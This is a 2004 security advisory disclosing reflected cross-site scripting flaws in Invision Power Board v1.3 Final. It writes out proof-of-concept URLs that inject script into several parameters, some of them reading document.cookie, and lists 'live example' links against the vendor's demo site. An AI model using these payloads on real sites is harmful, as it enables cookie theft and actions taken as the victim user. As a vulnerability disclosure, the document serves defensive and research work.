~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Software: Invision Power Board Vendor: http://www.invisionboard.com/ Versions: (U) v1.3 Final Bug: Cross Site Scripting Vulnerabillity Risk: Medium Exploitation: Remote with browser Date: 29 Feb 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider@mail.com Web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bug 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== Invision Power Board is available under a yearly and lifetime purchase option for both personal and commercial use, no catches, no "spyware", no hidden costs anywhere. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== The Vulnerabillity is Cross Site Scripting. The vulnerable form fields are "c","f","showtopic","showuser","username". If an attacker will request the following url from the server: http://<host>/?c='><script>alert(window.document.url)</script><plaintext> Or http://<host>/?showtopic='><script>alert(window.document.url)</script><plain text> Or http://<host>/?act=SR&f='><script>alert(document.cookie)</script> Or http://<host>/?showuser='><script>alert(document.cookie)</script> Or http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert (document.cookie)</script> XSS appears and the server allows an attacker to inject & execute scripts. In the words of securityfocus.com : ~~~~~~~~~~~~~~~~~~~~~~~~~~ If all of these circumstances are met, an attacker may be able to exploit this issue via a malicious link containing arbitrary HTML and script code as part of the hostname. When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client. This will occur because the server will echo back the malicious hostname supplied in the client's request, without sufficiently escaping HTML and script code. Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== http://<host>/?c='><script>alert(window.document.url)</script><plaintext> http://<host>/?showtopic='><script>alert(window.document.url)</script><plain text> http://<host>/?act=SR&f='><script>alert(document.cookie)</script> http://<host>/?showuser='><script>alert(document.cookie)</script> http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert (document.cookie)</script> Live Example: http://demo.invisionboard.com/?c='><script>alert(window.document.url)</scrip t><plaintext> http://demo.invisionboard.com/?showtopic='><script>alert(window.document.url )</script><plaintext> http://demo.invisionboard.com/?act=SR&f='><script>alert(document.cookie)</sc ript> http://demo.invisionboard.com/?showuser='><script>alert(document.cookie)</sc ript> http://demo.invisionboard.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName ='><script>alert(document.cookie)</script> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider - advisory#41.txt http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."
